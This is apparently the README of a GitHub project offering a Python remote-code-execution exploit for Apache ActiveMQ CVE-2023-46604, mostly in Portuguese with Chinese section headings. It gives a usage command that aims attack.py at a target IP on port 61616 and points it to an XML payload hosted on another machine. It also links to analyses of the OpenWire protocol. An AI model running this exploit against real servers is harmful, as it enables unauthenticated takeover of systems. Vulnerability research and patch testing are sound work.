justdoit-cai/cve-2023-46604-apache-activemq-rce-expExploit de execução remota de código baseado em Python para Apache ActiveMQ CVE-2023-46604, utilizando o protocolo OpenWire para entregar payloads XML para RCE não autenticado.
Este projeto é uma reescrita do exp do projeto https://github.com/X1r0z/ActiveMQ-RCE em uma versão python.
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
O parâmetro -p tem como padrão a porta padrão do activeMQ. O parâmetro -x requer que seja adicionado o prefixo do protocolo.
Aqui está um diagrama do protocolo openwire para esclarecimento.
Abaixo está o formato do pacote de dados do tipo .
Throwable
Para uma análise específica da vulnerabilidade, veja os artigos de referência abaixo.
# openwire协议的分析
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE漏洞原理的分析
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/